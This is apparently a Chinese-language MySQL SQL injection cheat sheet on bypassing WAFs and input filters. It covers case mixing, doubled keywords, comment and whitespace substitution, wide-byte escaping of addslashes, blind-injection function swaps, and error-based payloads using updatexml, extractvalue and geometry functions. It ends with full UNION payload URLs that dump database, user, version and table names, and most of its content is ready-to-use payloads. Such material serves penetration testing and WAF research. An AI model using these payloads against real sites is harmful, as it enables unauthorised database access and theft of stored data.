中间件过滤绕过

大小写绕过

1
2
3
4
5
6
7
8
9
mysql> SelEct * frOm UserS;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
|  2 | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |     2 |
|  3 | test     | e99a18c428cb38d5f260853678922e03 |     3 |
+----+----------+----------------------------------+-------+
3 rows in set (0.00 sec)

双写绕过

在后台过滤逻辑是 将 关键字替换为空的时候，可以这么构造语句

1
?id=1 union selselectect union

编码绕过

编码无非就是hex、url等等编码，让传到数据库的数据能够解析的即可，比如URL编码一般在传给业务的时候就会自动解码。

替换绕过

Web渗透时都可以尝试url编码进行绕过。

空格替换

在纯mysql下，我们可以用/**/来代替空格。

1
2
3
4
5
6
7
mysql> select/**/database();
+------------+
| database() |
+------------+
| pikachu    |
+------------+
1 row in set (0.00 sec)

我们还可以用+来代替空格。

1
2
3
4
5
6
7
mysql> select+database();
+-------------+
| +database() |
+-------------+
| pikachu     |
+-------------+
1 row in set (0.00 sec)

在有php中间件下，我们用%09、%0A、 %0B、 %0C、 %0D、%A0、%20这些url字符来绕过空格。

1
select%09database();

用()来传递参数。

1
2
3
4
5
6
7
8
mysql> select(id)from(users);
+----+
| id |
+----+
|  1 |
|  2 |
|  3 |
+----+

内联空格

  • /*!select*/: 相当于没有注释
  • /*!12345select*/: 当12345小于当前mysql版本号的时候，注释不生效，当大于版本号的时候注释生效。
  • /*![]*/: []中括号中的数字若填写则必须是5位
1
2
3
4
5
6
7
mysql> select/*!94004*/1/*!94004*/and/*!94004*/1=2;
+---------+
| 1and1=2 |
+---------+
|       0 |
+---------+
1 row in set (0.00 sec)

运算符替换

等于号绕过

由于<> 等价于 !=,我们可以再加一个!来构成=的效果.

1
2
3
4
5
6
7
mysql> select * from users  where !(id<>1);
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

between表示在两个值之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 1 between 1 and 2;
+-------------------+
| 1 between 1 and 2 |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)

mysql> select 12 between 1 and 3;
+--------------------+
| 12 between 1 and 3 |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

in表示在集合当中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 1  in (1);
+-----------+
| 1  in (1) |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql> select 0  in (1);
+-----------+
| 0  in (1) |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

like表示模糊匹配

1
2
3
4
5
6
7
mysql> select 123 like '1%';
+---------------+
| 123 like '1%' |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

regexp正则匹配

1
2
3
4
5
6
7
mysql> select 1234 regexp "^12.*";
+---------------------+
| 1234 regexp "^12.*" |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

Rlike正则匹配

1
2
3
4
5
6
7
mysql> select 1 and 123 rlike "^12.*";
+-------------------------+
| 1 and 123 rlike "^12.*" |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

strcmp(str1,str2) 若所有的字符串均相同，则返回0，若根据当前分类次序，第一个参数小于第二个，则返回 -1，其它情况返回 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select strcmp('123','123');
+---------------------+
| strcmp('123','123') |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

mysql> select strcmp('123','12');
+--------------------+
| strcmp('123','12') |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

mysql> select strcmp('1','12');
+------------------+
| strcmp('1','12') |
+------------------+
|               -1 |
+------------------+
1 row in set (0.00 sec)

大于小于号绕过

我们可以用greatest() 与least() 还有max()和min()。

greatest(a,b)返回a与b中较大的那个值。

1
2
3
4
5
6
7
mysql> select greatest(1,2);
+---------------+
| greatest(1,2) |
+---------------+
|             2 |
+---------------+
1 row in set (0.00 sec)

least(a,b)返回a与b中较小的那个值。

1
2
3
4
5
6
7
mysql> select least(1,2);
+------------+
| least(1,2) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

因此一个盲注sql语句：

1
select * from users where id=1 and ascii(substr(database(),0,1))>64;

可以替代成为：

1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

逻辑符号与关键词替代绕过

1
2
3
4
5
(使用时需url编码)
and等效&&  
or等效||   
xor等效|   
not等效!

逗号绕过

在对于substr()和mid()这两个方法可以使用from to的方式来解决：

1
2
3
select substr(database() from 1 for 1);
#等效于
select substr(database() ,1, 1);

在对于limit可以使用offset来绕过：

1
2
3
 select id from books  limit 1 offset 0;
#等效于
select id from books  limit 0,1;

在对于select可以使用jion来绕过：

1
2
3
select * from (select 1)a join (select 2)b;
 #等效于
 select 1,2;

引号绕过

使用十六进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from users where id = '1';
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

mysql> select * from users where id = 0x01;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)

用宽字节绕过

当我们输入的数据为：username=%df%27or%201=1%23&password=123

经过addslashes函数处理最终变成：username=%df%5c%27or%201=1%23&password=123

%df%5c=運

经过gbk解码得到：username=運'or 1=1#、password=123，拼接到SQL语句得：

1
select * from users where username = '運'or 1=1#' and password='123';

concat绕过

1
2
3
4
5
6
7
mysql> select group_concat(table_name) from information_schema.tables where table_schema=concat(char(112),char(105),char(107),char(97),char(99),char(104),char(117));
+----------------------------------------+
| group_concat(table_name)               |
+----------------------------------------+
| httpinfo,member,message,users,xssblind |
+----------------------------------------+
1 row in set (0.00 sec)

注释符绕过

手动闭合，不使用注释符

1
id=1' union select 1,2,3||'1
1
id=1' union select 1,2,'3

函数替换

字符串截取等价函数绕过

SUBSTR ==> SUBSTRING

多种模式:
SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)

RIGHT(str,len)，对指定字符串从最右边截取指定长度。

1
2
3
4
5
6
7
mysql> select right(123,1);
+--------------+
| right(123,1) |
+--------------+
| 3            |
+--------------+
1 row in set (0.00 sec)

LEFT

LEFT(str,len)，对指定字符串从最左边截取指定长度。

1
2
3
4
5
6
7
mysql> select left(123,1);
+-------------+
| left(123,1) |
+-------------+
| 1           |
+-------------+
1 row in set (0.00 sec)

RPAD

RPAD(str,len,padstr)，在 str 右方补齐 len 位的字符串 padstr，返回新字符串。如果 str 长度大于 len，则返回值的长度将缩减到 len 所指定的长度。也能达到字符串截取的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select rpad(database(),1,1);
+----------------------+
| rpad(database(),1,1) |
+----------------------+
| p                    |
+----------------------+
1 row in set (0.00 sec)

mysql> select rpad(database(),10,1);
+-----------------------+
| rpad(database(),10,1) |
+-----------------------+
| pikachu111            |
+-----------------------+
1 row in set (0.00 sec)

LPAD

LPAD(str,len,padstr)，与RPAD相似，在str左边补齐。

MID

mid(str,pos,len)同于 SUBSTRING。

MAKE_SET

以下是一个示例：

1
SELECT MAKE_SET(5, 'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry');

在这个示例中，位掩码值为5，二进制表示为101。对应的字符串列表为'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry'。因为第1位和第3位为1，所以返回的结果为'Apple,Cherry'。

可用作布尔盲注：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SELECT MAKE_SET((length(database())>1)+1,1,999);
+------------------------------------------+
| MAKE_SET((length(database())>1)+1,1,999) |
+------------------------------------------+
| 999                                      |
+------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT MAKE_SET((length(database())>10)+1,1,999);
+-------------------------------------------+
| MAKE_SET((length(database())>10)+1,1,999) |
+-------------------------------------------+
| 1                                         |
+-------------------------------------------+
1 row in set (0.00 sec)

聚合函数等价替换

CONCAT

concat(str1,str2…)，函数用于将多个字符串合并为一个字符串。

GROUP_CONCAT

返回一个字符串结果，该结果由分组中的值连接组合而成。

CONCAT_WS

用于将多个字符串连接在一起，并使用指定的分隔符进行分隔。WS是”with separator”的缩写。

1
2
3
4
5
6
mysql> SELECT CONCAT_WS(',---,', 'John', 'Doe', '123 Main St', 'City', 'Country');
+---------------------------------------------------------------------+
| CONCAT_WS(',---,', 'John', 'Doe', '123 Main St', 'City', 'Country') |
+---------------------------------------------------------------------+
| John,---,Doe,---,123 Main St,---,City,---,Country                   |
+---------------------------------------------------------------------+

延时函数替换

benchmark

重复执行某个语句的函数。通常需要进行消耗时间和性能的计算，比如哈希计算函数MD5(), 将MD5函数重复执行数万次则可以达到延迟的效果。

1
2
payload：
xxx.com?id=1 and if(substr(database(),1,1)='1', benchmark(100000,md5(‘hacker’)))

内联绕过

/* */ 在mysql中是多行注释,但是如果里面加了! 那么后面的内容会被执行.

正常的sql语句:

1
2
3
4
5
6
7
8
mysql> SELECT id FROM users WHERE id=1 UNION SELECT DATABASE();
+---------+
| id      |
+---------+
| 1       |
| pikachu |
+---------+
2 rows in set (0.00 sec)

含有/*! */的sql语句：

1
2
3
4
5
6
7
8
mysql> SELECT id FROM users WHERE id=1 /*!union*/ SELECT DATABASE();
+---------+
| id      |
+---------+
| 1       |
| pikachu |
+---------+
2 rows in set (0.00 sec)

我们还可以利用一个*/去匹配多个/*！，例如sql语句：

1
2
3
4
5
6
7
8
SELECT id FROM users WHERE id=1 /*!union/*!select*/DATABASE();
+---------+
| id      |
+---------+
| 1       |
| pikachu |
+---------+
2 rows in set (0.00 sec)

if函数替换

CASE 表示函数开始，END 表示函数结束。如果 condition1 成立，则返回 result1, 如果 condition2 成立，则返回 result2，当全部不成立则返回 result，而当有一个成立之后，后面的就不执行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select if(1>0,"1>0",1);
+-----------------+
| if(1>0,"1>0",1) |
+-----------------+
| 1>0             |
+-----------------+
1 row in set (0.00 sec)

mysql> select case when 1>0 then "1>0" end;
+------------------------------+
| case when 1>0 then "1>0" end |
+------------------------------+
| 1>0                          |
+------------------------------+
1 row in set (0.00 sec)

过滤where

1
2
3
逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤group by

1
2
3
逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

报错注入

exp

payload：exp(~(select * from(select user())a))

updatexml

payload：updatexml(1,concat(0x7e,(select user()),0x7e),1)

extractvalue

payload：(extractvalue(1,concat(0x7e,(select user()),0x7e)))

rand()+group()+count()

payload：select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

GeometryCollection

payload：GeometryCollection((select * from (select* from(select user())a)b))

polygon

payload：polygon((select * from(select * from(select user())a)b))

multipoint

payload：multipoint((select * from(select * from(select user())a)b))

multilinestring

payload：multilinestring((select * from(select * from(select user())a)b))

linestring

payload：LINESTRING((select * from(select * from(select user())a)b))

multipolygon

payload：multipolygon((select * from(select * from(select user())a)b))

基于waf的绕过

每当 WAF 阻止查询包含空格/空白时，可以轻松替换为以下内容：

1
2
3
4
5
6
/**/
/**_**/
%23nuLL%0A
%23qa%0A%23%0A
%23foo*%2F*bar%0D%0A
+

当然有一些emoji也是好好用

1
2
/*️*/
/*️⃣*/

WAF 阻止从数据库检索信息

1
2
3
可以尝试去替换database()：
database/*badd*//**/()
database%23%0A(%23%0A)

当出现某些错误信息时

当您尝试通过基于 UNION 的查询查找哪一列容易受到攻击时，您会遇到以下错误：

1
2
3
The used SELECT statements have a different number of columns 可以尝试使用一下语句
OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+-  查询数据库版本
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -  查询数据库名

很多时候高版本的mysql中我们无法通过查询明文内容获取到表名和列名，这时候考虑将列名或者数据库名替换为HEX格式试试

database -> 0x6c69746f666c6578

写入 information_schema=’ 0x6c69746f666c6578’

学会使用NULL

传统用法

1
2
3
4
5
6
7
union select null，null，null 等于
Union Select 0,0,0,0
Union Select false,false,false,false
Union Select char(null),char(null),char(null),char(null)
Union Select char(false),char(false),char(false),char(false)
Union Select (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0)
Union Select 34=35,34=35,34=35,34=35

例如一个语句中使用0为空

1
http://website.com/index.php?id=1 div 0 Union Select "0 div 0 Union Select 0,0,0,0,concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),0--+",0,0,0,0,0--+

使用false为null

1
http://website.com/index.php?id=1 div false Union Select "false div false Union Select false,false,false,false,concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),false--+",false,false,false,false,false--+

还有char（）

1
http://website.com/index.php?id=1 div char(null) Union Select "char(null) div char(null) Union Select char(null),char(null),char(null),char(null),concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(null)--+",char(null),char(null),char(null),char(null),char(null)--+